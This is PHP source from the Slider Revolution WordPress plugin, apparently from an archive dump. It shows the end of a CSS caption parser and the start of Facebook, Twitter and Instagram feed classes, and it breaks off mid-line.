if(is_array($styles)){ foreach($styles as $name => $style){ if(in_array($name, $deformations) && $name !== 'cursor') continue; if(!is_array($name) && isset($transparency[$name])){ //the style can have transparency! if(isset($styles[$transparency[$name]]) && $style !== 'transparent'){ $style = $this->hex2rgba($style, $styles[$transparency[$name]] * 100); } } if(!is_array($name) && isset($check_parameters[$name])){ $style = $this->add_missing_val($style, $check_parameters[$name]); } if(is_array($style) || is_object($style)) $style = implode(' ', $style); $ret = $this->check_for_modifications($name, $style); if($ret['name'] == 'cursor' && $ret['style'] == 'auto') continue; $css .= $ret['name'].':'.$ret['style'].";".$nl; } } if(is_array($styles_adv)){ foreach($styles_adv as $name => $style){ if(in_array($name, $deformations) && $name !== 'cursor') continue; if(is_array($style) || is_object($style)) $style = implode(' ', $style); $ret = $this->check_for_modifications($name, $style); if($ret['name'] == 'cursor' && $ret['style'] == 'auto') continue; $css .= $ret['name'].':'.$ret['style'].";".$nl; } } } $css .= '}'.$nl.$nl; //add hover $setting = json_decode($attr['settings'], true); if(isset($setting['hover']) && $setting['hover'] == 'true'){ $hover = json_decode(str_replace("'", '"', $attr['hover']), true); $hover_adv = $attr['advanced']['hover']; if(is_array($hover) || is_array($hover_adv)){ $css .= $attr['handle'].':hover'; if(!empty($stripped)) $css .= ', '.$stripped.':hover'; $css .= ' {'.$nl; if(is_array($hover)){ foreach($hover as $name => $style){ if(in_array($name, $deformations) && $name !== 'cursor') continue; if(!is_array($name) && isset($transparency[$name])){ //the style can have transparency! if(isset($hover[$transparency[$name]]) && $style !== 'transparent'){ $style = $this->hex2rgba($style, $hover[$transparency[$name]] * 100); } } if(!is_array($name) && isset($check_parameters[$name])){ $style = $this->add_missing_val($style, $check_parameters[$name]); } if(is_array($style)|| is_object($style)) $style = implode(' ', $style); $ret = $this->check_for_modifications($name, $style); if($ret['name'] == 'cursor' && $ret['style'] == 'auto') continue; $css .= $ret['name'].':'.$ret['style'].";".$nl; } } if(is_array($hover_adv)){ foreach($hover_adv as $name => $style){ if(in_array($name, $deformations) && $name !== 'cursor') continue; if(is_array($style)|| is_object($style)) $style = implode(' ', $style); $ret = $this->check_for_modifications($name, $style); if($ret['name'] == 'cursor' && $ret['style'] == 'auto') continue; $css .= $ret['name'].':'.$ret['style'].";".$nl; } } $css .= '}'.$nl.$nl; } } } return $css; } /** * Check for Modifications like with cursor * @since: 5.1.3 **/ public function check_for_modifications($name, $style){ if($name == 'cursor'){ $style = ($style == 'zoom-in') ? 'zoom-in; -webkit-zoom-in; cursor: -moz-zoom-in' : $style; $style = ($style == 'zoom-out') ? 'zoom-out; -webkit-zoom-out; cursor: -moz-zoom-out' : $style; $name = 'cursor'; } return array('name' => $name, 'style' => $style); } /** * Check for Modifications like with cursor * @before: RevSliderCssParser::parseArrayToCss(); **/ public function array_to_css($css_array, $nl = "\n\r", $adv = false){ $css = ''; $deformations = $this->get_deformation_css_tags(); foreach($css_array as $id => $attr){ $setting = (array)$attr['settings']; $advanced = (array)$attr['advanced']; $stripped = (strpos($attr['handle'], '.tp-caption') !== false) ? trim(str_replace('.tp-caption', '', $attr['handle'])) : ''; $styles = (array)$attr['params']; $css .= $attr['handle']; $css .= (!empty($stripped)) ? ', '.$stripped : $css; $css .= ' {'.$nl; if($adv && isset($advanced['idle'])){ $styles = array_merge($styles, (array)$advanced['idle']); if(isset($setting['type'])){ $styles['type'] = $setting['type']; } } if(is_array($styles) && !empty($styles)){ foreach($styles as $name => $style){ if(in_array($name, $deformations) && $name !== 'cursor') continue; if($name == 'background-color' && strpos($style, 'rgba') !== false){ //rgb && rgba $rgb = explode(',', str_replace('rgba', 'rgb', $style)); unset($rgb[count($rgb)-1]); $rgb = implode(',', $rgb).')'; $css .= $name.':'.$rgb.';'.$nl; } $style = (is_array($style) || is_object($style)) ? implode(' ', $style) : $style; $css .= $name.':'.$style.';'.$nl; } } $css .= '}'.$nl.$nl; //add hover if(isset($setting['hover']) && $setting['hover'] == 'true'){ $hover = (array)$attr['hover']; if($adv && isset($advanced['hover'])){ $styles = array_merge($styles, (array)$advanced['hover']); } if(is_array($hover)){ $css .= $attr['handle'].':hover'; if(!empty($stripped)) $css.= ', '.$stripped.':hover'; $css .= ' {'.$nl; foreach($hover as $name => $style){ if($name == 'background-color' && strpos($style, 'rgba') !== false){ //rgb && rgba $rgb = explode(',', str_replace('rgba', 'rgb', $style)); unset($rgb[count($rgb)-1]); $rgb = implode(',', $rgb).')'; $css .= $name.':'.$rgb.';'.$nl; } $style = (is_array($style) || is_object($style)) ? implode(' ', $style) : $style; $css .= $name.':'.$style.';'.$nl; } $css .= '}'.$nl.$nl; } } } return $css; } /** * parse static database to css * @before: RevSliderCssParser::parseStaticArrayToCss(); **/ public function static_to_css($css_array, $nl = "\n"){ return $this->simple_array_to_css($css_array); } /** * parse simple array to css * @before: RevSliderCssParser::parseSimpleArrayToCss(); **/ public function simple_array_to_css($css_array, $nl = "\n"){ $css = ''; foreach($css_array as $class => $styles){ $css .= $class.' {'.$nl; if(is_array($styles) && !empty($styles)){ foreach($styles as $name => $style){ $style = (is_array($style) || is_object($style)) ? implode(' ', $style) : $style; $css .= $name.':'.$style.';'.$nl; } } $css .= '}'.$nl.$nl; } return $css; } /** * parse db array to array * @before: RevSliderCssParser::parseDbArrayToArray(); **/ public function db_array_to_array($css_array, $handle = false){ if(!is_array($css_array) || empty($css_array)) return false; foreach($css_array as $key => $css){ if($handle != false){ if($this->get_val($css_array[$key], 'handle') == '.tp-caption.'.$handle){ $css_array[$key]['params'] = json_decode(str_replace("'", '"', $this->get_val($css, 'params'))); $css_array[$key]['hover'] = json_decode(str_replace("'", '"', $this->get_val($css, 'hover'))); $css_array[$key]['advanced'] = json_decode(str_replace("'", '"', $this->get_val($css, 'advanced'))); $css_array[$key]['settings'] = json_decode(str_replace("'", '"', $this->get_val($css, 'settings'))); return $css_array[$key]; }else{ unset($css_array[$key]); } }else{ $css_array[$key]['params'] = json_decode(str_replace("'", '"', $this->get_val($css, 'params'))); $css_array[$key]['hover'] = json_decode(str_replace("'", '"', $this->get_val($css, 'hover'))); $css_array[$key]['advanced'] = json_decode(str_replace("'", '"', $this->get_val($css, 'advanced'))); $css_array[$key]['settings'] = json_decode(str_replace("'", '"', $this->get_val($css, 'settings'))); } } return $css_array; } /** * compress the css **/ public function compress_css($buffer){ /* remove comments */ $buffer = preg_replace("!/\*[^*]*\*+([^/][^*]*\*+)*/!", '', $buffer) ; /* remove tabs, spaces, newlines, etc. */ $arr = array("\r\n", "\r", "\n", "\t", ' ', ' ', ' '); $rep = array('', '', '', '', ' ', ' ', ' '); $buffer = str_replace($arr, $rep, $buffer); /* remove whitespaces around {}:, */ $buffer = preg_replace("/\s*([\{\}:,])\s*/", "$1", $buffer); /* remove last ; */ $buffer = str_replace(';}', '}', $buffer); return $buffer; } /** * Defines the default CSS Classes, can be given a version number to order them accordingly * @since: 5.0 **/ public function default_css_classes(){ $c = '.tp-caption'; $default = array( $c.'.medium_grey' => '4', $c.'.small_text' => '4', $c.'.medium_text' => '4', $c.'.large_text' => '4', $c.'.very_large_text' => '4', $c.'.very_big_white' => '4', $c.'.very_big_black' => '4', $c.'.modern_medium_fat' => '4', $c.'.modern_medium_fat_white' => '4', $c.'.modern_medium_light' => '4', $c.'.modern_big_bluebg' => '4', $c.'.modern_big_redbg' => '4', $c.'.modern_small_text_dark' => '4', $c.'.boxshadow' => '4', $c.'.black' => '4', $c.'.noshadow' => '4', $c.'.thinheadline_dark' => '4', $c.'.thintext_dark' => '4', $c.'.largeblackbg' => '4', $c.'.largepinkbg' => '4', $c.'.largewhitebg' => '4', $c.'.largegreenbg' => '4', $c.'.excerpt' => '4', $c.'.large_bold_grey' => '4', $c.'.medium_thin_grey' => '4', $c.'.small_thin_grey' => '4', $c.'.lightgrey_divider' => '4', $c.'.large_bold_darkblue' => '4', $c.'.medium_bg_darkblue' => '4', $c.'.medium_bold_red' => '4', $c.'.medium_light_red' => '4', $c.'.medium_bg_red' => '4', $c.'.medium_bold_orange' => '4', $c.'.medium_bg_orange' => '4', $c.'.grassfloor' => '4', $c.'.large_bold_white' => '4', $c.'.medium_light_white' => '4', $c.'.mediumlarge_light_white' => '4', $c.'.mediumlarge_light_white_center' => '4', $c.'.medium_bg_asbestos' => '4', $c.'.medium_light_black' => '4', $c.'.large_bold_black' => '4', $c.'.mediumlarge_light_darkblue'=> '4', $c.'.small_light_white' => '4', $c.'.roundedimage' => '4', $c.'.large_bg_black' => '4', $c.'.mediumwhitebg' => '4', $c.'.MarkerDisplay' => '5.0', $c.'.Restaurant-Display' => '5.0', $c.'.Restaurant-Cursive' => '5.0', $c.'.Restaurant-ScrollDownText' => '5.0', $c.'.Restaurant-Description' => '5.0', $c.'.Restaurant-Price' => '5.0', $c.'.Restaurant-Menuitem' => '5.0', $c.'.Furniture-LogoText' => '5.0', $c.'.Furniture-Plus' => '5.0', $c.'.Furniture-Title' => '5.0', $c.'.Furniture-Subtitle' => '5.0', $c.'.Gym-Display' => '5.0', $c.'.Gym-Subline' => '5.0', $c.'.Gym-SmallText' => '5.0', $c.'.Fashion-SmallText' => '5.0', $c.'.Fashion-BigDisplay' => '5.0', $c.'.Fashion-TextBlock' => '5.0', $c.'.Sports-Display' => '5.0', $c.'.Sports-DisplayFat' => '5.0', $c.'.Sports-Subline' => '5.0', $c.'.Instagram-Caption' => '5.0', $c.'.News-Title' => '5.0', $c.'.News-Subtitle' => '5.0', $c.'.Photography-Display' => '5.0', $c.'.Photography-Subline' => '5.0', $c.'.Photography-ImageHover' => '5.0', $c.'.Photography-Menuitem' => '5.0', $c.'.Photography-Textblock' => '5.0', $c.'.Photography-Subline-2' => '5.0', $c.'.Photography-ImageHover2' => '5.0', $c.'.WebProduct-Title' => '5.0', $c.'.WebProduct-SubTitle' => '5.0', $c.'.WebProduct-Content' => '5.0', $c.'.WebProduct-Menuitem' => '5.0', $c.'.WebProduct-Title-Light' => '5.0', $c.'.WebProduct-SubTitle-Light' => '5.0', $c.'.WebProduct-Content-Light' => '5.0', $c.'.FatRounded' => '5.0', $c.'.NotGeneric-Title' => '5.0', $c.'.NotGeneric-SubTitle' => '5.0', $c.'.NotGeneric-CallToAction' => '5.0', $c.'.NotGeneric-Icon' => '5.0', $c.'.NotGeneric-Menuitem' => '5.0', $c.'.MarkerStyle' => '5.0', $c.'.Gym-Menuitem' => '5.0', $c.'.Newspaper-Button' => '5.0', $c.'.Newspaper-Subtitle' => '5.0', $c.'.Newspaper-Title' => '5.0', $c.'.Newspaper-Title-Centered' => '5.0', $c.'.Hero-Button' => '5.0', $c.'.Video-Title' => '5.0', $c.'.Video-SubTitle' => '5.0', $c.'.NotGeneric-Button' => '5.0', $c.'.NotGeneric-BigButton' => '5.0', $c.'.WebProduct-Button' => '5.0', $c.'.Restaurant-Button' => '5.0', $c.'.Gym-Button' => '5.0', $c.'.Gym-Button-Light' => '5.0', $c.'.Sports-Button-Light' => '5.0', $c.'.Sports-Button-Red' => '5.0', $c.'.Photography-Button' => '5.0', $c.'.Newspaper-Button-2' => '5.0' ); return apply_filters('revslider_mod_default_css_handles', $default); } /** * Defines the deformation CSS which is not directly usable as pure CSS * @since: 5.0 **/ public function get_deformation_css_tags(){ return array( 'x' => 'x', 'y' => 'y', 'z' => 'z', 'skewx' => 'skewx', 'skewy' => 'skewy', 'scalex' => 'scalex', 'scaley' => 'scaley', 'opacity' => 'opacity', 'xrotate' => 'xrotate', 'yrotate' => 'yrotate', '2d_rotation' => '2d_rotation', 'layer_2d_origin_x' => 'layer_2d_origin_x', 'layer_2d_origin_y' => 'layer_2d_origin_y', '2d_origin_x' => '2d_origin_x', '2d_origin_y' => '2d_origin_y', 'pers' => 'pers', 'color-transparency' => 'color-transparency', 'background-transparency' => 'background-transparency', 'border-transparency'=> 'border-transparency', 'cursor' => 'cursor', 'speed' => 'speed', 'easing' => 'easing', 'corner_left' => 'corner_left', 'corner_right' => 'corner_right', 'parallax' => 'parallax', 'type' => 'type', 'padding' => 'padding', 'margin' => 'margin', 'text-align' => 'text-align' ); } /** * return the captions sorted by handle name **/ public function get_captions_sorted(){ global $wpdb; $styles = $wpdb->get_results("SELECT * FROM ".$wpdb->prefix . RevSliderFront::TABLE_CSS . " ORDER BY handle ASC", ARRAY_A); $arr = array('5.0' => array(), 'Custom' => array(), '4' => array()); foreach($styles as $style){ $setting = json_decode($this->get_val($style, 'settings'), true); if(!isset($setting['type'])) $setting['type'] = 'text'; if(array_key_exists('version', $setting) && isset($setting['version'])) $arr[ucfirst($setting['version'])][] = array('label' => trim(str_replace('.tp-caption.', '', $style['handle'])), 'type' => $setting['type']); } $sorted = array(); foreach($arr as $version => $class){ foreach($class as $name){ $sorted[] = array('label' => $this->get_val($name, 'label'), 'version' => $version, 'type' => $this->get_val($name, 'type')); } } return $sorted; } /** * Handles media queries * @since: 5.2.0 **/ public function parse_media_blocks($css){ $blocks = array(); $start = 0; while(($start = strpos($css, '@media', $start)) !== false){ $s = array(); $i = strpos($css, '{', $start); if ($i !== false){ $block = trim(substr($css, $start, $i - $start)); array_push($s, $css[$i]); $i++; while(!empty($s)){ if($css[$i] == '{'){ array_push($s, '{'); }elseif($css[$i] == '}'){ array_pop($s); }else{ //broken css? } $i++; } $blocks[$block] = substr($css, $start, ($i + 1) - $start); $start = $i; } } return $blocks; } /** * removes @media { ... } queries from CSS * @since: 5.2.0 **/ public function clear_media_block($css){ $start = 0; if(empty($css)) return $css; if(strpos($css, '@media', $start) !== false){ $start = strpos($css, '@media', 0); $i = strpos($css, '{', $start); if($i === false) return $css; $i += 1; $remove = substr($css, $start - 1, $i - $start + 1); //remove @media ... first { $css = str_replace($remove, '', $css); $css = preg_replace('/}$/', '', $css); //remove last } } return $css; } /** * import contents of the css file * @before: RevSliderOperations::importCaptionsCssContentArray() */ public function import_css_captions(){ global $wpdb; $css = $this->get_base_css_captions(); $static = array(); if(is_array($css) && $css !== false && count($css) > 0){ foreach($css as $class => $styles){ //check if static style or dynamic style $class = trim($class); if((strpos($class, ':hover') === false && strpos($class, ':') !== false) || //before, after strpos($class, ' ') !== false || // .tp-caption.imageclass img or .tp-caption .imageclass or .tp-caption.imageclass .img strpos($class, '.tp-caption') === false || // everything that is not tp-caption (strpos($class, '.') === false || strpos($class, '#') !== false) || // no class -> #ID or img strpos($class, '>') !== false){ //.tp-caption>.imageclass or .tp-caption.imageclass>img or .tp-caption.imageclass .img $static[$class] = $styles; continue; } //is a dynamic style if(strpos($class, ':hover') !== false){ $class = trim(str_replace(':hover', '', $class)); $add = array( 'hover' => json_encode($styles), 'settings' => json_encode(array('hover' => 'true')) ); }else{ $add = array( 'params' => json_encode($styles) ); } //check if class exists $result = $wpdb->get_row($wpdb->prepare("SELECT * FROM ".$wpdb->prefix . RevSliderFront::TABLE_CSS." WHERE handle = %s", $class), ARRAY_A); if(!empty($result)){ //update $wpdb->update($wpdb->prefix . RevSliderFront::TABLE_CSS, $add, array('handle' => $class)); }else{ //insert $add['handle'] = $class; $wpdb->insert($wpdb->prefix . RevSliderFront::TABLE_CSS, $add); } } } if(!empty($static)){ //save static into static-captions.css $css = $this->get_static_css()."\n".$this->static_to_css($static); //get the open sans line! $this->update_static_css($css); } } /** * get contents of the css file * @before: RevSliderOperations::getCaptionsCssContentArray(); */ public function get_base_css_captions(){ include(RS_PLUGIN_PATH . 'includes/basic-css.php'); return $this->css_to_array($css); } /** * get the css raw from the database */ public function get_raw_css(){ global $wpdb; $result = $wpdb->get_results("SELECT * FROM ".$wpdb->prefix . RevSliderFront::TABLE_CSS, ARRAY_A); return $result; } /** * get the css from the database and set it into an object structure */ public function get_database_classes($adv = false){ $css = $this->get_raw_css(); if(!empty($css)){ foreach($css as $k => $v){ if($adv === true){ $css[$v['handle']]['hover'] = json_decode($this->get_val($v, 'hover', ''), true); $css[$v['handle']]['params'] = json_decode($this->get_val($v, 'params', ''), true); $css[$v['handle']]['settings'] = json_decode($this->get_val($v, 'settings', ''), true); }else{ unset($css[$v['handle']]['hover']); unset($css[$v['handle']]['params']); unset($css[$v['handle']]['settings']); } $css[$v['handle']]['advanced'] = json_decode($this->get_val($v, 'advanced', ''), true); } } return $css; } /** * add missing px/% to value, do also for object and array * @since: 5.0 **/ public function add_missing_val($obj, $set_to = 'px'){ if(is_array($obj)){ foreach($obj as $key => $value){ if(strpos($value, $set_to) === false){ $obj[$key] = $value.$set_to; } } }elseif(is_object($obj)){ foreach($obj as $key => $value){ if(is_object($value)){ if(isset($value->v)){ if(strpos($value->v, $set_to) === false){ $obj->$key->v = $value->v.$set_to; } } }else{ if(strpos($value, $set_to) === false){ $obj->$key = $value.$set_to; } } } }else{ if(strpos($obj, $set_to) === false){ $obj .= $set_to; } } return $obj; } /** * change hex to rgba */ public function hex2rgba($hex, $transparency = false, $raw = false, $do_rgb = false){ if($transparency !== false){ $transparency = ($transparency > 0) ? number_format(($transparency / 100), 2, '.', '') : 0; }else{ $transparency = 1; } $hex = str_replace('#', '', $hex); if(strlen($hex) == 3){ $r = hexdec(substr($hex,0,1).substr($hex,0,1)); $g = hexdec(substr($hex,1,1).substr($hex,1,1)); $b = hexdec(substr($hex,2,1).substr($hex,2,1)); }elseif($this->is_rgb($hex)){ return $hex; }else{ $r = hexdec(substr($hex,0,2)); $g = hexdec(substr($hex,2,2)); $b = hexdec(substr($hex,4,2)); } $ret = ($do_rgb) ? $r.', '.$g.', '.$b : $r.', '.$g.', '.$b.', '.$transparency; return ($raw) ? $ret : 'rgba('.$ret.')'; } }includes/external-sources.class.php000060400000154473151724235750013517 0ustar00 * @link https://www.sliderrevolution.com/ * @copyright 2022 ThemePunch */ if(!defined('ABSPATH')) exit(); use EspressoDev\InstagramBasicDisplay as InstagramBasicDisplay; /** * Facebook * * with help of the API this class delivers album images from Facebook * * @package socialstreams * @subpackage socialstreams/facebook * @author ThemePunch */ class RevSliderFacebook extends RevSliderFunctions { const URL_FB_AUTH = 'https://updates.themepunch.tools/fb/login.php'; const URL_FB_API = 'https://updates.themepunch.tools/fb/api.php'; const QUERY_SHOW = 'fb_show'; const QUERY_TOKEN = 'fb_token'; const QUERY_PAGE_ID = 'fb_page_id'; const QUERY_CONNECTWITH = 'fb_page_name'; const QUERY_ERROR = 'fb_error_message'; /** * @var number Transient time in seconds */ private $transient_sec; public function __construct($transient_sec = 1200){ $this->transient_sec = $transient_sec; } public function add_actions() { add_action('init', array(&$this, 'do_init'), 5); add_action('admin_footer', array(&$this, 'footer_js')); } /** * check if we have QUERY_ARG set * try to login the user */ public function do_init() { // are we on revslider page? if(!isset($_GET['page']) || $_GET['page'] != 'revslider') return; //fb returned error if(isset($_GET[self::QUERY_ERROR])) return; //we need token and slide ID to proceed with saving token if(!isset($_GET[self::QUERY_TOKEN]) || !isset($_GET['id'])) return; $token = $_GET[self::QUERY_TOKEN]; $connectwith = isset($_GET[self::QUERY_CONNECTWITH]) ? $_GET[self::QUERY_CONNECTWITH] : ''; $page_id = isset($_GET[self::QUERY_PAGE_ID]) ? $_GET[self::QUERY_PAGE_ID] : ''; $id = $_GET['id']; $slider = new RevSliderSlider(); $slide = new RevSliderSlide(); $slide->init_by_id($id); $slider_id = $slide->get_slider_id(); if(intval($slider_id) == 0){ $_GET[self::QUERY_ERROR] = __('Slider could not be loaded', 'revslider'); return; } $slider->init_by_id($slider_id); if($slider->inited === false){ $_GET[self::QUERY_ERROR] = __('Slider could not be loaded', 'revslider'); return; } $slider->set_param(array('source', 'facebook', 'token_source'), 'account'); $slider->set_param(array('source', 'facebook', 'appId'), $token); $slider->set_param(array('source', 'facebook', 'page_id'), $page_id); $slider->set_param(array('source', 'facebook', 'connect_with'), $connectwith); $slider->update_params(array()); //redirect $url = set_url_scheme( 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] ); $url = add_query_arg(array(self::QUERY_TOKEN => false, self::QUERY_PAGE_ID => false, self::QUERY_CONNECTWITH => false, self::QUERY_SHOW => 1), $url); wp_redirect($url); exit(); } public function footer_js(){ // are we on revslider page? if(!isset($_GET['page']) || $_GET['page'] != 'revslider') return; if(isset($_GET[self::QUERY_SHOW]) || isset($_GET[self::QUERY_ERROR])){ echo ''; } if(isset($_GET[self::QUERY_ERROR])){ $err = __('Facebook API error: ', 'revslider') . esc_html($_GET[self::QUERY_ERROR]); echo ''; } } public static function get_login_url(){ $state = base64_encode(admin_url('admin.php?page=revslider&view=slide&id='.$_GET['id'])); return self::URL_FB_AUTH . '?state=' . $state; } protected function _make_api_call($args = array()){ global $wp_version; $response = wp_remote_post(self::URL_FB_API, array( 'user-agent' => 'WordPress/'.$wp_version.'; '.get_bloginfo('url'), 'body' => $args, 'timeout' => 45 )); if(is_wp_error($response)){ return array( 'error' => true, 'message' => 'Facebook API error: ' . $response->get_error_message(), ); } $responseData = json_decode($response['body'], true); if(empty($responseData)){ return array( 'error' => true, 'message' => 'Facebook API error: Empty response body or wrong data format', ); } return $responseData; } protected function _get_transient_fb_data($requestData){ $transient_name = 'revslider_' . md5(json_encode($requestData)); if($this->transient_sec > 0 && false !== ($data = get_transient($transient_name))){ return $data; } $responseData = $this->_make_api_call($requestData); //code that use this function do not process errors //return empty array if($responseData['error']){ return array(); } if(isset($responseData['data'])){ set_transient($transient_name, $responseData['data'], $this->transient_sec); return $responseData['data']; } return array(); } /** * Get Photosets List from User * * @param string $access_token page access token * @param string $page_id page id * @return mixed */ public function get_photo_sets($access_token, $page_id){ return $this->_make_api_call(array( 'token' => $access_token, 'page_id' => $page_id, 'action' => 'albums', )); } /** * Get Photosets List from User as Options for Selectbox * * @param string $access_token page access token * @param string $page_id page id * @return mixed options html string | array('error' => true, 'message' => '...'); */ public function get_photo_set_photos_options($access_token, $page_id){ $photo_sets = $this->get_photo_sets($access_token, $page_id); if($photo_sets['error']){ return $photo_sets; } $return = array(); if(is_array($photo_sets['data'])){ foreach($photo_sets['data'] as $photo_set){ $return[] = '"'; } } return $return; } /** * Get Photoset Photos * * @param string $access_token page access token * @param string $album_id Album ID * @param int $item_count items count * @return array */ public function get_photo_set_photos($access_token, $album_id, $item_count = 8){ $requestData = array( 'token' => $access_token, 'action' => 'photos', 'album_id' => $album_id, 'limit' => $item_count, ); return $this->_get_transient_fb_data($requestData); } /** * Get Feed * * @param string $access_token page access token * @param string $page_id page id * @param int $item_count items count * @return array */ public function get_photo_feed($access_token, $page_id, $item_count = 8){ $requestData = array( 'token' => $access_token, 'page_id' => $page_id, 'action' => 'feed', 'limit' => $item_count, ); return $this->_get_transient_fb_data($requestData); } } // End Class /** * Twitter * * with help of the API this class delivers all kind of tweeted images from twitter * * @package socialstreams * @subpackage socialstreams/twitter * @author ThemePunch */ class RevSliderTwitter extends RevSliderFunctions { /** * Consumer Key * * @since 1.0.0 * @access private * @var string $consumer_key Consumer Key */ private $consumer_key; /** * Consumer Secret * * @since 1.0.0 * @access private * @var string $consumer_secret Consumer Secret */ private $consumer_secret; /** * Access Token * * @since 1.0.0 * @access private * @var string $access_token Access Token */ private $access_token; /** * Access Token Secret * * @since 1.0.0 * @access private * @var string $access_token_secret Access Token Secret */ private $access_token_secret; /** * Twitter Account * * @since 1.0.0 * @access private * @var string $twitter_account Account User Name */ private $twitter_account; /** * Transient seconds * * @since 1.0.0 * @access private * @var number $transient Transient time in seconds */ private $transient_sec; /** * Stream Array * * @since 1.0.0 * @access private * @var array $stream Stream Data Array */ private $stream; /** * Initialize the class and set its properties. * * @since 1.0.0 * @param string $consumer_key Twitter App Registration Consomer Key * @param string $consumer_secret Twitter App Registration Consomer Secret * @param string $access_token Twitter App Registration Access Token * @param string $access_token_secret Twitter App Registration Access Token Secret */ public function __construct($consumer_key, $consumer_secret, $access_token, $access_token_secret, $transient_sec = 1200){ $this->consumer_key = $consumer_key; $this->consumer_secret = $consumer_secret; $this->access_token = $access_token; $this->access_token_secret = $access_token_secret; $this->transient_sec = $transient_sec; } /** * Get Tweets * * @since 1.0.0 * @param string $twitter_account Twitter account without trailing @ char */ public function get_public_photos($twitter_account, $include_rts, $exclude_replies, $count, $imageonly){ //require_once( 'class-wp-twitter-api.php'); //Set your personal data retrieved at https://dev.twitter.com/apps $credentials = array( 'consumer_key' => $this->consumer_key, 'consumer_secret' => $this->consumer_secret ); // Let's instantiate our class with our credentials $twitter_api = new RevSliderTwitterApi($credentials, $this->transient_sec); $include_rts = ($include_rts == 'on') ? 'true' : 'false'; $exclude_replies = ($include_rts == 'on') ? 'false' : 'true'; $query = '&tweet_mode=extended&count=500&include_entities=true&include_rts='.$include_rts.'&exclude_replies='.$exclude_replies.'&screen_name='.$twitter_account; $tweets = $twitter_api->query($query); return (!empty($tweets)) ? $tweets : ''; } /** * Find Key in array and return value (multidim array possible) * * @since 1.0.0 * @param string $key Needle * @param array $form Haystack */ public function array_find_element_by_key($key, $form){ if(is_array($form) && array_key_exists($key, $form)){ $ret = $form[$key]; return $ret; } if(is_array($form)){ foreach($form as $k => $v){ if(is_array($v)){ $ret = $this->array_find_element_by_key($key, $form[$k]); if($ret){ return $ret; } } } } return false; } } // End Class /** * Class WordPress Twitter API * * https://github.com/micc83/Twitter-API-1.1-Client-for-Wordpress/blob/master/class-wp-twitter-api.php * @version 1.0.0 */ class RevSliderTwitterApi extends RevSliderFunctions { public $bearer_token; // Default credentials public $args = array( 'consumer_key' => 'default_consumer_key', 'consumer_secret' => 'default_consumer_secret' ); // Default type of the resource and cache duration public $query_args = array( 'type' => 'statuses/user_timeline', 'cache' => 1800 ); public $has_error = false; /** * WordPress Twitter API Constructor * * @param array $args */ public function __construct($args = array(), $transient_sec = 1200){ if(is_array($args) && !empty($args)) $this->args = array_merge($this->args, $args); if(!$this->bearer_token = get_option('twitter_bearer_token')) $this->bearer_token = $this->get_bearer_token(); $this->query_args['cache'] = $transient_sec; } /** * Get the token from oauth Twitter API * * @return string Oauth Token */ private function get_bearer_token(){ $bearer_token_credentials = $this->get_val($this->args, 'consumer_key') . ':' . $this->get_val($this->args, 'consumer_secret'); $bearer_token_credentials_64 = base64_encode($bearer_token_credentials); $args = array( 'method' => 'POST', 'timeout' => 5, 'redirection' => 5, 'httpversion' => '1.0', 'blocking' => true, 'headers' => array( 'Authorization' => 'Basic ' . $bearer_token_credentials_64, 'Content-Type' => 'application/x-www-form-urlencoded;charset=UTF-8', 'Accept-Encoding' => 'gzip' ), 'body' => array('grant_type' => 'client_credentials'), 'cookies' => array() ); $response = wp_remote_post('https://api.twitter.com/oauth2/token', $args); if(is_wp_error($response) || 200 != $response['response']['code']) return $this->bail(__( 'Can\'t get the bearer token, check your credentials', 'revslider'), $response); $result = json_decode($this->get_val($response, 'body')); update_option('twitter_bearer_token', $this->get_val($result, 'access_token')); return $this->get_val($result, 'access_token'); } /** * Query twitter's API * * @uses $this->get_bearer_token() to retrieve token if not working * * @param string $query Insert the query in the format "count=1&include_entities=true&include_rts=true&screen_name=micc1983! * @param array $query_args Array of arguments: Resource type (string) and cache duration (int) * @param bool $stop Stop the query to avoid infinite loop * * @return bool|object Return an object containing the result */ public function query($query, $query_args = array(), $stop = false){ if($this->has_error) return false; if(is_array($query_args) && !empty($query_args)){ $this->query_args = array_merge($this->query_args, $query_args); } $transient_name = 'wta_' . md5($query); if($this->get_val($this->query_args, 'cache', 0) > 0 && false !== ($data = get_transient($transient_name))) return json_decode($data); $args = array( 'method' => 'GET', 'timeout' => 5, 'redirection' => 5, 'httpversion' => '1.0', 'blocking' => true, 'headers' => array( 'Authorization' => 'Bearer ' . $this->bearer_token, 'Accept-Encoding' => 'gzip' ), 'body' => null, 'cookies' => array() ); $response = wp_remote_get('https://api.twitter.com/1.1/'. $this->get_val($this->query_args, 'type') . '.json?' . $query, $args); if(is_wp_error($response) || 200 != $response['response']['code']){ if(!$stop){ $this->bearer_token = $this->get_bearer_token(); return $this->query($query, $this->query_args, true); }else{ return $this->bail(__('Bearer Token is good, check your query', 'revslider'), $response); } } set_transient($transient_name, $response['body'], $this->query_args['cache']); return json_decode($response['body']); } /** * Let's manage errors * * WP_DEBUG has to be set to true to show errors * * @param string $error_text Error message * @param string $error_object Server response or wp_error */ private function bail($error_text, $error_object = ''){ $this->has_error = true; if(is_wp_error($error_object)){ $error_text .= ' - Wp Error: ' . $error_object->get_error_message(); }elseif(!empty($error_object) && isset($error_object['response']['message'])){ $error_text .= ' ( Response: ' . $error_object['response']['message'] . ')'; } trigger_error($error_text , E_USER_NOTICE); } } /** * Instagram * * with help of the API this class delivers all kind of Images from instagram * * @package socialstreams * @subpackage socialstreams/instagram * @author ThemePunch */ if(!function_exists('rev_instagram_autoloader')){ function rev_instagram_autoloader($class) { if(strpos($class, 'InstagramBasicDisplay') !== false){ $filename = realpath(dirname(__FILE__)) .'/'. str_replace('\\', '/', $class) . '.php'; include_once ($filename); } } } class RevSliderInstagram extends RevSliderFunctions { const QUERY_SHOW = 'ig_show'; const QUERY_TOKEN = 'ig_token'; const QUERY_CONNECTWITH = 'ig_user'; const QUERY_ERROR = 'ig_error_message'; /** * API key * * @since 1.0.0 * @access private * @var string $api_key Instagram API key */ private $api_key; /** * Stream Array * * @since 1.0.0 * @access private * @var array $stream Stream Data Array */ private $stream; /** * @var array of InstagramBasicDisplay objects */ private $instagram; /** * Transient seconds * * @since 1.0.0 * @access private * @var number $transient_sec Transient time in seconds */ private $transient_sec; /** * Transient for token refresh in seconds * * @since 1.0.0 * @access private * @var number $transient_token_sec Transient time in seconds */ private $transient_token_sec; /** * Initialize the class and set its properties. * * @since 1.0.0 * @param string $api_key Instagram API key. */ public function __construct($transient_sec = 86400){ spl_autoload_register('rev_instagram_autoloader'); $this->transient_sec = $transient_sec; $this->transient_token_sec = 86400 * 30; // 30 days } public function add_actions(){ add_action('init', array(&$this, 